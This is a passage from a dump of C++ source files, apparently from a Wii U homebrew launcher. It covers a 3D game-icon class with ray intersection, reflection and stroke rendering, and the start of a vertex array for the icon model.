rayOrigin.y) * rayDirFrac.y;\n    float t5 = (lb.z - rayOrigin.z) * rayDirFrac.z;\n    float t6 = (rt.z - rayOrigin.z) * rayDirFrac.z;\n\n    float tmin = std::max(std::max(std::min(t1, t2), std::min(t3, t4)), std::min(t5, t6));\n    float tmax = std::min(std::min(std::max(t1, t2), std::max(t3, t4)), std::max(t5, t6));\n\n    //! if tmax < 0, ray (line) is intersecting AABB, but whole AABB is behing us\n    if (tmax < 0)\n    {\n        //t = tmax;\n        return false;\n    }\n\n    //! if tmin > tmax, ray doesn't intersect AABB\n    if (tmin > tmax)\n    {\n        //t = tmax;\n        return false;\n    }\n\n    //t = tmin;\n    return true;\n}\n\nvoid GameIcon::draw(CVideo *pVideo, const glm::mat4 & projectionMtx, const glm::mat4 & viewMtx, const glm::mat4 & modelView)\n{\n    //! first setup 2D GUI positions\n    f32 currPosX = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f;\n    f32 currPosY = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f;\n    f32 currPosZ = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;\n    f32 currScaleX = getScaleX() * (f32)getWidth() * pVideo->getWidthScaleFactor();\n    f32 currScaleY = getScaleY() * (f32)getHeight() * pVideo->getHeightScaleFactor();\n    f32 currScaleZ = getScaleZ() * (f32)getWidth() * pVideo->getDepthScaleFactor();\n    f32 strokeScaleX = pVideo->getWidthScaleFactor() * strokeWidth * 0.25f + cfIconMirrorScale;\n    f32 strokeScaleY = pVideo->getHeightScaleFactor() * strokeWidth * 0.25f + cfIconMirrorScale;\n\n    for(s32 iDraw = 0; iDraw < 2; iDraw++)\n    {\n        glm::vec4 * alphaFadeOut;\n        glm::mat4 m_iconView;\n        glm::mat4 m_mirrorView;\n        glm::mat4 m_strokeView;\n\n        if(iDraw == RENDER_REFLECTION)\n        {\n            //! Reflection render\n            if(!bRenderReflection)\n                continue;\n            m_iconView = glm::translate(modelView, glm::vec3(currPosX, -currScaleY * 2.0f - currPosY, currPosZ + cosf(DegToRad(rotationX)) * currScaleZ * 2.0f));\n            m_iconView = glm::rotate(m_iconView, DegToRad(rotationX), glm::vec3(1.0f, 0.0f, 0.0f));\n            m_iconView = glm::scale(m_iconView, glm::vec3(currScaleX, -currScaleY, currScaleZ));\n\n            colorIntensity[3] = reflectionAlpha * getAlpha();\n            selectionBlurOuterColorIntensity[3] = colorIntensity[3] * 0.7f;\n            selectionBlurInnerColorIntensity[3] = colorIntensity[3] * 0.7f;\n            alphaFadeOut = &alphaFadeOutRefl;\n\n            GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_ENABLE, GX2_DISABLE);\n        }\n        else\n        {\n            //! Normal render\n            m_iconView = glm::translate(modelView, glm::vec3(currPosX,currPosY, currPosZ));\n            m_iconView = glm::rotate(m_iconView, DegToRad(rotationX), glm::vec3(1.0f, 0.0f, 0.0f));\n            m_iconView = glm::scale(m_iconView, glm::vec3(currScaleX, currScaleY, currScaleZ));\n\n            colorIntensity[3] = getAlpha();\n            selectionBlurOuterColorIntensity[3] = colorIntensity[3];\n            selectionBlurInnerColorIntensity[3] = colorIntensity[3];\n            alphaFadeOut = &alphaFadeOutNorm;\n        }\n\n        m_mirrorView = glm::scale(m_iconView, glm::vec3(cfIconMirrorScale, cfIconMirrorScale, cfIconMirrorScale));\n\n        colorIntensityMirror[3] = cfIconMirrorAlpha * colorIntensity[3];\n\n        if(!bIconLast)\n        {\n            Shader3D::instance()->setShaders();\n            Shader3D::instance()->setProjectionMtx(projectionMtx);\n            Shader3D::instance()->setViewMtx(viewMtx);\n            Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());\n            Shader3D::instance()->setAlphaFadeOut(*alphaFadeOut);\n            Shader3D::instance()->setDistanceFadeOut(distanceFadeout);\n\n            //! render the real symbol\n            Shader3D::instance()->setModelViewMtx(m_iconView);\n            Shader3D::instance()->setColorIntensity(colorIntensity);\n            Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoords);\n            Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount);\n        }\n\n        if(bSelected)\n        {\n            strokeFractalEnable = 0;\n\n            GX2SetDepthOnlyControl(GX2_ENABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL);\n            m_strokeView = glm::scale(m_iconView, glm::vec3(selectionBlurOuterSize, selectionBlurOuterSize, 0.0f));\n            ShaderFractalColor::instance()->setShaders();\n            ShaderFractalColor::instance()->setProjectionMtx(projectionMtx);\n            ShaderFractalColor::instance()->setViewMtx(viewMtx);\n            ShaderFractalColor::instance()->setModelViewMtx(m_strokeView);\n            ShaderFractalColor::instance()->setFractalColor(strokeFractalEnable);\n            ShaderFractalColor::instance()->setBlurBorder(selectionBlurOuterBorderSize);\n            ShaderFractalColor::instance()->setColorIntensity(selectionBlurOuterColorIntensity);\n            ShaderFractalColor::instance()->setAlphaFadeOut(*alphaFadeOut);\n            ShaderFractalColor::instance()->setAttributeBuffer();\n            ShaderFractalColor::instance()->draw();\n\n            m_strokeView = glm::scale(m_iconView, glm::vec3(selectionBlurInnerSize, selectionBlurInnerSize, 0.0f));\n            ShaderFractalColor::instance()->setBlurBorder(selectionBlurInnerBorderSize);\n            ShaderFractalColor::instance()->setColorIntensity(selectionBlurInnerColorIntensity);\n            ShaderFractalColor::instance()->draw();\n            GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);\n        }\n\n        if(iDraw == RENDER_NORMAL && bRenderStroke)\n        {\n            strokeFractalEnable = 1;\n            //! now render the icon stroke\n            //! make the stroke a little bigger than the mirror, just by the line width on each side\n            m_strokeView = glm::scale(m_iconView, glm::vec3(strokeScaleX, strokeScaleY, cfIconMirrorScale));\n\n            ShaderFractalColor::instance()->setShaders();\n            ShaderFractalColor::instance()->setLineWidth(strokeWidth);\n            ShaderFractalColor::instance()->setProjectionMtx(projectionMtx);\n            ShaderFractalColor::instance()->setViewMtx(viewMtx);\n            ShaderFractalColor::instance()->setModelViewMtx(m_strokeView);\n            ShaderFractalColor::instance()->setFractalColor(strokeFractalEnable);\n            ShaderFractalColor::instance()->setBlurBorder(strokeBlurBorder);\n            ShaderFractalColor::instance()->setColorIntensity(colorIntensity);\n            ShaderFractalColor::instance()->setAlphaFadeOut(*alphaFadeOut);\n            ShaderFractalColor::instance()->setAttributeBuffer(cuGameIconStrokeVtxCount, strokePosVtxs, strokeTexCoords, strokeColorVtxs);\n            ShaderFractalColor::instance()->draw(GX2_PRIMITIVE_LINE_STRIP, cuGameIconStrokeVtxCount);\n\n        }\n\n        //! render the background mirror frame\n        Shader3D::instance()->setShaders();\n        Shader3D::instance()->setProjectionMtx(projectionMtx);\n        Shader3D::instance()->setViewMtx(viewMtx);\n        Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());\n        Shader3D::instance()->setAlphaFadeOut(*alphaFadeOut);\n        Shader3D::instance()->setDistanceFadeOut(distanceFadeout);\n        Shader3D::instance()->setModelViewMtx(m_mirrorView);\n        Shader3D::instance()->setColorIntensity(colorIntensityMirror);\n        Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoordsMirror);\n        Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount);\n\n        if(bIconLast)\n        {\n            Shader3D::instance()->setShaders();\n            Shader3D::instance()->setProjectionMtx(projectionMtx);\n            Shader3D::instance()->setViewMtx(viewMtx);\n            Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());\n            Shader3D::instance()->setAlphaFadeOut(*alphaFadeOut);\n            Shader3D::instance()->setDistanceFadeOut(distanceFadeout);\n\n            //! render the real symbol\n            Shader3D::instance()->setModelViewMtx(m_iconView);\n            Shader3D::instance()->setColorIntensity(colorIntensity);\n            Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoords);\n            Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount);\n        }\n\n        //! return back normal culling\n        if(iDraw == RENDER_REFLECTION)\n        {\n            GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE);\n        }\n    }\n}\n"
  },
  {
    "path": "src/gui/GameIcon.h",
    "content": "#ifndef _GAME_ICON_H_\n#define _GAME_ICON_H_\n\n#include \"GuiImageAsync.h\"\n#include \"video/shaders/Shader3D.h\"\n\nclass GameIcon : public GuiImageAsync\n{\npublic:\n    GameIcon(const std::string & filename, GuiImageData *preloadImage);\n    virtual ~GameIcon();\n\n    void setRotationX(f32 r) {\n        rotationX = r;\n    }\n    void setColorIntensity(const glm::vec4 & color) {\n        colorIntensity = color;\n        colorIntensityMirror = colorIntensity;\n        selectionBlurOuterColorIntensity = color * glm::vec4(0.09411764f * 1.15f, 0.56862745f * 1.15f, 0.96862745098f * 1.15f, 1.0f);\n        selectionBlurInnerColorIntensity = color * glm::vec4(0.46666667f, 0.90588235f, 1.0f, 1.0f);\n    }\n    const glm::vec4 & getColorIntensity() const {\n        return colorIntensity;\n    }\n    void setAlphaFadeOutNorm(const glm::vec4 & a) {\n        alphaFadeOutNorm = a;\n    }\n    void setAlphaFadeOutRefl(const glm::vec4 & a) {\n        alphaFadeOutRefl = a;\n    }\n    void setRenderReflection(bool enable) {\n        bRenderReflection = enable;\n    }\n    void setSelected(bool enable) {\n        bSelected = enable;\n    }\n    void setStrokeRender(bool enable) {\n        bRenderStroke = enable;\n    }\n    void setRenderIconLast(bool enable) {\n        bIconLast = enable;\n    }\n    void draw(CVideo *pVideo) {\n        static const glm::mat4 identity(1.0f);\n        draw(pVideo, identity, identity, identity);\n    }\n    void draw(CVideo *pVideo, const glm::mat4 & projection, const glm::mat4 & view, const glm::mat4 & modelView);\n\n    bool checkRayIntersection(const glm::vec3 & rayOrigin, const glm::vec3 & rayDirFrac);\nprivate:\n    enum eRenderState\n    {\n        RENDER_REFLECTION,\n        RENDER_NORMAL\n    };\n\n    bool bSelected;\n    bool bRenderStroke;\n    bool bRenderReflection;\n    bool bIconLast;\n    glm::vec4 colorIntensity;\n    glm::vec4 colorIntensityMirror;\n    glm::vec4 alphaFadeOutNorm;\n    glm::vec4 alphaFadeOutRefl;\n\n    f32 reflectionAlpha;\n    f32 strokeWidth;\n    f32 rotationX;\n    f32 rgbReduction;\n    f32 distanceFadeout;\n    f32 *texCoordsMirror;\n    f32 *strokePosVtxs;\n    f32 *strokeTexCoords;\n    u8 *strokeColorVtxs;\n    s32 strokeFractalEnable;\n    f32 strokeBlurBorder;\n    glm::vec4 selectionBlurOuterColorIntensity;\n    f32 selectionBlurOuterSize;\n    f32 selectionBlurOuterBorderSize;\n    glm::vec4 selectionBlurInnerColorIntensity;\n    f32 selectionBlurInnerSize;\n    f32 selectionBlurInnerBorderSize;\n};\n\n#endif // _GAME_ICON_H_\n"
  },
  {
    "path": "src/gui/GameIconModel.h",
    "content": "#ifndef ICON_MODEL_H_\n#define ICON_MODEL_H_\n\nstatic const float cfGameIconPosVtxs[] = {\n-0.844501f,-0.861263f,0.050154f,-0.802664f,-0.8797f,0.054004f,-0.809968f,-0.828995f,0.061777f,-0.864233f,-0.822169f,0.054004f,\n-0.802664f,-0.8797f,0.054004f,-0.726455f,-0.89991f,0.058224f,-0.730326f,-0.842312f,0.067487f,-0.809968f,-0.828995f,0.061777f,\n-0.809968f,-0.828995f,0.061777f,-0.730326f,-0.842312f,0.067487f,-0.738488f,-0.760488f,0.074426f,-0.824221f,-0.752861f,0.067487f,\n-0.864233f,-0.822169f,0.054004f,-0.809968f,-0.828995f,0.061777f,-0.824221f,-0.752861f,0.067487f,-0.885862f,-0.749245f,0.058224f,\n-0.726455f,-0.89991f,0.058224f,-0.612405f,-0.916988f,0.061789f,-0.614352f,-0.854962f,0.071886f,-0.730326f,-0.842312f,0.067487f,\n-0.612405f,-0.916988f,0.061789f,-0.392243f,-0.928623f,0.064218f,-0.39312f,-0.8642f,0.074693f,-0.614352f,-0.854962f,0.071886f,\n-0.614352f,-0.854962f,0.071886f,-0.39312f,-0.8642f,0.074693f,-0.395094f,-0.775509f,0.082561f,-0.618732f,-0.768902f,0.079479f,\n-0.730326f,-0.842312f,0.067487f,-0.614352f,-0.854962f,0.071886f,-0.618732f,-0.768902f,0.079479f,-0.738488f,-0.760488f,0.074426f,\n-0.738488f,-0.760488f,0.074426f,-0.618732f,-0.768902f,0.079479f,-0.624085f,-0.648442f,0.084918f,-0.747494f,-0.64344f,0.079479f,\n-0.618732f,-0.768902f,0.079479f,-0.395094f,-0.775509f,0.082561f,-0.397505f,-0.652534f,0.088189f,-0.624085f,-0.648442f,0.084918f,\n-0.624085f,-0.648442f,0.084918f,-0.397505f,-0.652534f,0.088189f,-0.399478f,-0.422739f,0.09157f,-0.628465f,-0.420911f,0.088189f,\n-0.747494f,-0.64344f,0.079479f,-0.624085f,-0.648442f,0.084918f,-0.628465f,-0.420911f,0.088189f,-0.754564f,-0.418675f,0.082561f,\n-0.885862f,-0.749245f,0.058224f,-0.824221f,-0.752861f,0.067487f,-0.837759f,-0.639347f,0.071886f,-0.90414f,-0.637528f,0.061789f,\n-0.824221f,-0.752861f,0.067487f,-0.738488f,-0.760488f,0.074426f,-0.747494f,-0.64344f,0.079479f,-0.837759f,-0.639347f,0.071886f,\n-0.837759f,-0.639347f,0.071886f,-0.747494f,-0.64344f,0.079479f,-0.754564f,-0.418675f,0.082561f,-0.847646f,-0.416846f,0.074693f,\n-0.90414f,-0.637528f,0.061789f,-0.837759f,-0.639347f,0.071886f,-0.847646f,-0.416846f,0.074693f,-0.916591f,-0.416033f,0.064218f,\n-0.399478f,-0.422739f,0.09157f,-0.397505f,-0.652534f,0.088189f,0.002274f,-0.653898f,0.089279f,0.002265f,-0.423349f,0.092698f,\n-0.397505f,-0.652534f,0.088189f,-0.395094f,-0.775509f,0.082561f,0.002284f,-0.777711f,0.083588f,0.002274f,-0.653898f,0.089279f,\n0.002274f,-0.653898f,0.089279f,0.002284f,-0.777711f,0.083588f,0.399509f,-0.775509f,0.082561f,0.401892f,-0.652534f,0.088189f,\n0.002265f,-0.423349f,0.092698f,0.002274f,-0.653898f,0.089279f,0.401892f,-0.652534f,0.088189f,0.403842f,-0.422739f,0.09157f,\n-0.395094f,-0.775509f,0.082561f,-0.39312f,-0.8642f,0.074693f,0.002293f,-0.867279f,0.075629f,0.002284f,-0.777711f,0.083588f,\n-0.39312f,-0.8642f,0.074693f,-0.392243f,-0.928623f,0.064218f,0.002297f,-0.932501f,0.065028f,0.002293f,-0.867279f,0.075629f,\n0.002293f,-0.867279f,0.075629f,0.002297f,-0.932501f,0.065028f,0.396693f,-0.928623f,0.064218f,0.397559f,-0.8642f,0.074693f,\n0.002284f,-0.777711f,0.083588f,0.002293f,-0.867279f,0.075629f,0.397559f,-0.8642f,0.074693f,0.399509f,-0.775509f,0.082561f,\n-0.399478f,-0.422739f,0.09157f,0.002265f,-0.423349f,0.092698f,0.002263f,-0.013572f,0.093837f,-0.400136f,-0.013589f,0.092698f,\n0.002265f,-0.423349f,0.092698f,0.403842f,-0.422739f,0.09157f,0.404492f,-0.013589f,0.092698f,0.002263f,-0.013572f,0.093837f,\n0.002263f,-0.013572f,0.093837f,0.404492f,-0.013589f,0.092698f,0.403842f,0.396564f,0.09157f,0.002265f,0.397221f,0.092698f,\n-0.400136f,-0.013589f,0.092698f,0.002263f,-0.013572f,0.093837f,0.002265f,0.397221f,0.092698f,-0.399478f,0.396564f,0.09157f,\n-0.754564f,0.392188f,0.082561f,-0.847646f,0.390218f,0.074693f,-0.850941f,-0.013754f,0.075629f,-0.756921f,-0.013703f,0.083588f,\n-0.847646f,0.390218f,0.074693f,-0.916591f,0.389343f,0.064218f,-0.920742f,-0.013776f,0.065028f,-0.850941f,-0.013754f,0.075629f,\n-0.850941f,-0.013754f,0.075629f,-0.920742f,-0.013776f,0.065028f,-0.916591f,-0.416033f,0.064218f,-0.847646f,-0.416846f,0.074693f,\n-0.756921f,-0.013703f,0.083588f,-0.850941f,-0.013754f,0.075629f,-0.847646f,-0.416846f,0.074693f,-0.754564f,-0.418675f,0.082561f,\n-0.754564f,0.392188f,0.082561f,-0.756921f,-0.013703f,0.083588f,-0.629925f,-0.01364f,0.089279f,-0.628465f,0.394595f,0.088189f,\n-0.756921f,-0.013703f,0.083588f,-0.754564f,-0.418675f,0.082561f,-0.628465f,-0.420911f,0.088189f,-0.629925f,-0.01364f,0.089279f,\n-0.629925f,-0.01364f,0.089279f,-0.628465f,-0.420911f,0.088189f,-0.399478f,-0.422739f,0.09157f,-0.400136f,-0.013589f,0.092698f,\n-0.628465f,0.394595f,0.088189f,-0.629925f,-0.01364f,0.089279f,-0.400136f,-0.013589f,0.092698f,-0.399478f,0.396564f,0.09157f,\n-0.844501f,0.846382f,0.050154f,-0.802664f,0.865969f,0.054004f,-0.814648f,0.914535f,0.037876f,-0.871108f,0.872793f,0.036675f,\n-0.802664f,0.865969f,0.054004f,-0.726455f,0.887439f,0.058224f,-0.733131f,0.94538f,0.040237f,-0.814648f,0.914535f,0.037876f,\n-0.814648f,0.914535f,0.037876f,-0.733131f,0.94538f,0.040237f,-0.74278f,0.982563f,0.019733f,-0.830745f,0.945555f,0.018815f,\n-0.871108f,0.872793f,0.036675f,-0.814648f,0.914535f,0.037876f,-0.830745f,0.945555f,0.018815f,-0.894756f,0.896267f,0.018385f,\n-0.726455f,0.887439f,0.058224f,-0.612405f,0.905582f,0.061789f,-0.615909f,0.968735f,0.042517f,-0.733131f,0.94538f,0.040237f,\n-0.612405f,0.905582f,0.061789f,-0.392243f,0.917941f,0.064218f,-0.393822f,0.983443f,0.044197f,-0.615909f,0.968735f,0.042517f,\n-0.615909f,0.968735f,0.042517f,-0.393822f,0.983443f,0.044197f,-0.396235f,1.025424f,0.021594f,-0.621266f,1.009264f,0.020771f,\n-0.733131f,0.94538f,0.040237f,-0.615909f,0.968735f,0.042517f,-0.621266f,1.009264f,0.020771f,-0.74278f,0.982563f,0.019733f,\n-0.621266f,1.009264f,0.020771f,-0.396235f,1.025424f,0.021594f,-0.398382f,1.047552f,0.0f,-0.626031f,1.030658f,0.0f,\n-0.74278f,0.982563f,0.019733f,-0.621266f,1.009264f,0.020771f,-0.626031f,1.030658f,0.0f,-0.750636f,1.002556f,0.0f,\n-0.830745f,0.945555f,0.018815f,-0.74278f,0.982563f,0.019733f,-0.750636f,1.002556f,0.0f,-0.842153f,0.963302f,0.0f,\n-0.894756f,0.896267f,0.018385f,-0.830745f,0.945555f,0.018815f,-0.842153f,0.963302f,0.0f,-0.909674f,0.911075f,0.0f,\n-0.398382f,1.047552f,0.0f,-0.396235f,1.025424f,0.021594f,0.002279f,1.030811f,0.021869f,0.00227f,1.053183f,0.0f,\n0.002279f,1.030811f,0.021869f,-0.396235f,1.025424f,0.021594f,-0.393822f,0.983443f,0.044197f,0.00229f,0.988345f,0.044757f,\n0.400637f,1.025424f,0.021594f,0.002279f,1.030811f,0.021869f,0.00229f,0.988345f,0.044757f,0.398253f,0.983443f,0.044197f,\n0.00227f,1.053183f,0.0f,0.002279f,1.030811f,0.021869f,0.400637f,1.025424f,0.021594f,0.402758f,1.047552f,0.0f,\n-0.393822f,0.983443f,0.044197f,-0.392243f,0.917941f,0.064218f,0.002297f,0.922061f,0.065028f,0.00229f,0.988345f,0.044757f,\n0.00229f,0.988345f,0.044757f,0.002297f,0.922061f,0.065028f,0.396693f,0.917941f,0.064218f,0.398253f,0.983443f,0.044197f,\n0.396693f,-0.928623f,0.064218f,0.002297f,-0.932501f,0.065028f,0.00229f,-0.994896f,0.044757f,0.398253f,-0.990281f,0.044197f,\n0.002297f,-0.932501f,0.065028f,-0.392243f,-0.928623f,0.064218f,-0.393822f,-0.990281f,0.044197f,0.00229f,-0.994896f,0.044757f,\n0.00229f,-0.994896f,0.044757f,-0.393822f,-0.990281f,0.044197f,-0.396235f,-1.0298f,0.021594f,0.002279f,-1.034871f,0.021869f,\n0.398253f,-0.990281f,0.044197f,0.00229f,-0.994896f,0.044757f,0.002279f,-1.034871f,0.021869f,0.400637f,-1.0298f,0.021594f,\n-0.396235f,-1.0298f,0.021594f,-0.398382f,-1.050629f,0.0f,0.00227f,-1.05593f,0.0f,0.002279f,-1.034871f,0.021869f,\n0.002279f,-1.034871f,0.021869f,0.00227f,-1.05593f,0.0f,0.402758f,-1.050629f,0.0f,0.400637f,-1.0298f,0.021594f,\n-0.909674f,-0.922159f,0.0f,-0.842153f,-0.971323f,0.0f,-0.830745f,-0.954616f,0.018815f,-0.894756f,-0.90822f,0.018385f,\n-0.842153f,-0.971323f,0.0f,-0.750636f,-1.008273f,0.0f,-0.74278f,-0.989453f,0.019733f,-0.830745f,-0.954616f,0.018815f,\n-0.830745f,-0.954616f,0.018815f,-0.74278f,-0.989453f,0.019733f,-0.733131f,-0.954452f,0.040237f,-0.814648f,-0.925416f,0.037876f,\n-0.894756f,-0.90822f,0.018385f,-0.830745f,-0.954616f,0.018815f,-0.814648f,-0.925416f,0.037876f,-0.871108f,-0.886124f,0.036675f,\n-0.750636f,-1.008273f,0.0f,-0.626031f,-1.034726f,0.0f,-0.621266f,-1.014588f,0.020771f,-0.74278f,-0.989453f,0.019733f,\n-0.626031f,-1.034726f,0.0f,-0.398382f,-1.050629f,0.0f,-0.396235f,-1.0298f,0.021594f,-0.621266f,-1.014588f,0.020771f,\n-0.621266f,-1.014588f,0.020771f,-0.396235f,-1.0298f,0.021594f,-0.393822f,-0.990281f,0.044197f,-0.615909f,-0.976437f,0.042517f,\n-0.74278f,-0.989453f,0.019733f,-0.621266f,-1.014588f,0.020771f,-0.615909f,-0.976437f,0.042517f,-0.733131f,-0.954452f,0.040237f,\n-0.615909f,-0.976437f,0.042517f,-0.393822f,-0.990281f,0.044197f,-0.392243f,-0.928623f,0.064218f,-0.612405f,-0.916988f,0.061789f,\n-0.733131f,-0.954452f,0.040237f,-0.615909f,-0.976437f,0.042517f,-0.612405f,-0.916988f,0.061789f,-0.726455f,-0.89991f,0.058224f,\n-0.814648f,-0.925416f,0.037876f,-0.733131f,-0.954452f,0.040237f,-0.726455f,-0.89991f,0.058224f,-0.802664f,-0.8797f,0.054004f,\n-0.871108f,-0.886124f,0.036675f,-0.814648f,-0.925416f,0.037876f,-0.802664f,-0.8797f,0.054004f,-0.844501f,-0.861263f,0.050154f,\n0.846982f,-0.861263f,0.050154f,0.87333f,-0.886124f,0.036675f,0.914973f,-0.833367f,0.037876f,0.866523f,-0.822169f,0.054004f,\n0.914973f,-0.833367f,0.037876f,0.87333f,-0.886124f,0.036675f,0.896749f,-0.90822f,0.018385f,0.94592f,-0.848408f,0.018815f,\n0.945745f,-0.755482f,0.040237f,0.914973f,-0.833367f,0.037876f,0.94592f,-0.848408f,0.018815f,0.982841f,-0.764498f,0.019733f,\n0.866523f,-0.822169f,0.054004f,0.914973f,-0.833367f,0.037876f,0.945745f,-0.755482f,0.040237f,0.887941f,-0.749245f,0.058224f,\n0.896749f,-0.90822f,0.018385f,0.911522f,-0.922159f,0.0f,0.963626f,-0.859068f,0.0f,0.94592f,-0.848408f,0.018815f,\n0.94592f,-0.848408f,0.018815f,0.963626f,-0.859068f,0.0f,1.002787f,-0.771839f,0.0f,0.982841f,-0.764498f,0.019733f,\n0.945745f,-0.755482f,0.040237f,0.982841f,-0.764498f,0.019733f,1.009478f,-0.645808f,0.020771f,0.969045f,-0.640802f,0.042517f,\n0.982841f,-0.764498f,0.019733f,1.002787f,-0.771839f,0.0f,1.030822f,-0.650261f,0.0f,1.009478f,-0.645808f,0.020771f,\n1.009478f,-0.645808f,0.020771f,1.030822f,-0.650261f,0.0f,1.047675f,-0.421723f,0.0f,1.025601f,-0.419734f,0.021594f,\n1.009478f,-0.645808f,0.020771f,1.025601f,-0.419734f,0.021594f,0.983719f,-0.417497f,0.044197f,0.969045f,-0.640802f,0.042517f,\n0.887941f,-0.749245f,0.058224f,0.945745f,-0.755482f,0.040237f,0.969045f,-0.640802f,0.042517f,0.906041f,-0.637528f,0.061789f,\n0.906041f,-0.637528f,0.061789f,0.969045f,-0.640802f,0.042517f,0.983719f,-0.417497f,0.044197f,0.918372f,-0.416033f,0.064218f,\n0.918372f,-0.416033f,0.064218f,0.983719f,-0.417497f,0.044197f,0.98861f,-0.013736f,0.044757f,0.922482f,-0.013776f,0.065028f,\n0.98861f,-0.013736f,0.044757f,0.983719f,-0.417497f,0.044197f,1.025601f,-0.419734f,0.021594f,1.030975f,-0.013673f,0.021869f,\n0.983719f,0.390919f,0.044197f,0.98861f,-0.013736f,0.044757f,1.030975f,-0.013673f,0.021869f,1.025601f,0.393327f,0.021594f,\n0.922482f,-0.013776f,0.065028f,0.98861f,-0.013736f,0.044757f,0.983719f,0.390919f,0.044197f,0.918372f,0.389343f,0.064218f,\n1.025601f,-0.419734f,0.021594f,1.047675f,-0.421723f,0.0f,1.053293f,-0.013618f,0.0f,1.030975f,-0.013673f,0.021869f,\n1.030975f,-0.013673f,0.021869f,1.053293f,-0.013618f,0.0f,1.047675f,0.39547f,0.0f,1.025601f,0.393327f,0.021594f,\n-0.909674f,-0.922159f,0.0f,-0.894756f,-0.90822f,0.018385f,-0.944409f,-0.848408f,0.018815f,-0.962289f,-0.859068f,0.0f,\n-0.944409f,-0.848408f,0.018815f,-0.894756f,-0.90822f,0.018385f,-0.871108f,-0.886124f,0.036675f,-0.913159f,-0.833367f,0.037876f,\n-0.981692f,-0.764498f,0.019733f,-0.944409f,-0.848408f,0.018815f,-0.913159f,-0.833367f,0.037876f,-0.944233f,-0.755482f,0.040237f,\n-0.962289f,-0.859068f,0.0f,-0.944409f,-0.848408f,0.018815f,-0.981692f,-0.764498f,0.019733f,-1.001834f,-0.771839f,0.0f,\n-0.871108f,-0.886124f,0.036675f,-0.844501f,-0.861263f,0.050154f,-0.864233f,-0.822169f,0.054004f,-0.913159f,-0.833367f,0.037876f,\n-0.913159f,-0.833367f,0.037876f,-0.864233f,-0.822169f,0.054004f,-0.885862f,-0.749245f,0.058224f,-0.944233f,-0.755482f,0.040237f,\n-0.981692f,-0.764498f,0.019733f,-0.944233f,-0.755482f,0.040237f,-0.967761f,-0.640802f,0.042517f,-1.008591f,-0.645808f,0.020771f,\n-0.944233f,-0.755482f,0.040237f,-0.885862f,-0.749245f,0.058224f,-0.90414f,-0.637528f,0.061789f,-0.967761f,-0.640802f,0.042517f,\n-0.967761f,-0.640802f,0.042517f,-0.90414f,-0.637528f,0.061789f,-0.916591f,-0.416033f,0.064218f,-0.982578f,-0.417497f,0.044197f,\n-0.967761f,-0.640802f,0.042517f,-0.982578f,-0.417497f,0.044197f,-1.024871f,-0.419734f,0.021594f,-1.008591f,-0.645808f,0.020771f,\n-1.001834f,-0.771839f,0.0f,-0.981692f,-0.764498f,0.019733f,-1.008591f,-0.645808f,0.020771f,-1.030143f,-0.650261f,0.0f,\n-1.030143f,-0.650261f,0.0f,-1.008591f,-0.645808f,0.020771f,-1.024871f,-0.419734f,0.021594f,-1.047163f,-0.421723f,0.0f,\n-1.047163f,0.39547f,0.0f,-1.052836f,-0.013618f,0.0f,-1.030298f,-0.013673f,0.021869f,-1.024871f,0.393327f,0.021594f,\n-1.052836f,-0.013618f,0.0f,-1.047163f,-0.421723f,0.0f,-1.024871f,-0.419734f,0.021594f,-1.030298f,-0.013673f,0.021869f,\n-1.030298f,-0.013673f,0.021869f,-1.024871f,-0.419734f,0.021594f,-0.982578f,-0.417497f,0.044197f,-0.987517f,-0.013736f,0.044757f,\n-1.024871f,0.393327f,0.021594f,-1.030298f,-0.013673f,0.021869f,-0.987517f,-0.013736f,0.044757f,-0.982578f,0.390919f,0.044197f,\n-0.982578f,-0.417497f,0.044197f,-0.916591f,-0.416033f,0.064218f,-0.920742f,-0.013776f,0.065028f,-0.987517f,-0.013736f,0.044757f,\n-0.987517f,-0.013736f,0.044757f,-0.920742f,-0.013776f,0.065028f,-0.916591f,0.389343f,0.064218f,-0.982578f,0.390919f,0.044197f,\n0.396693f,0.917941f,0.064218f,0.616423f,0.905582f,0.061789f,0.619893f,0.968735f,0.042517f,0.398253f,0.983443f,0.044197f,\n0.616423f,0.905582f,0.061789f,0.729904f,0.887439f,0.058224f,0.736514f,0.94538f,0.040237f,0.619893f,0.968735f,0.042517f,\n0.619893f,0.968735f,0.042517f,0.736514f,0.94538f,0.040237f,0.746069f,0.982563f,0.019733f,0.625198f,1.009264f,0.020771f,\n0.400637f,1.025424f,0.021594f,0.398253f,0.983443f,0.044197f,0.619893f,0.968735f,0.042517f,0.625198f,1.009264f,0.020771f,\n0.729904f,0.887439f,0.058224f,0.805551f,0.865969f,0.054004f,0.817418f,0.914535f,0.037876f,0.736514f,0.94538f,0.040237f,\n0.805551f,0.865969f,0.054004f,0.846982f,0.846382f,0.050154f,0.87333f,0.872793f,0.036675f,0.817418f,0.914535f,0.037876f,\n0.817418f,0.914535f,0.037876f,0.87333f,0.872793f,0.036675f,0.896749f,0.896267f,0.018385f,0.833359f,0.945555f,0.018815f,\n0.736514f,0.94538f,0.040237f,0.817418f,0.914535f,0.037876f,0.833359f,0.945555f,0.018815f,0.746069f,0.982563f,0.019733f,\n0.833359f,0.945555f,0.018815f,0.896749f,0.896267f,0.018385f,0.911522f,0.911075f,0.0f,0.844656f,0.963302f,0.0f,\n0.746069f,0.982563f,0.019733f,0.833359f,0.945555f,0.018815f,0.844656f,0.963302f,0.0f,0.753849f,1.002556f,0.0f,\n0.625198f,1.009264f,0.020771f,0.746069f,0.982563f,0.019733f,0.753849f,1.002556f,0.0f,0.629917f,1.030658f,0.0f,\n0.400637f,1.025424f,0.021594f,0.625198f,1.009264f,0.020771f,0.629917f,1.030658f,0.0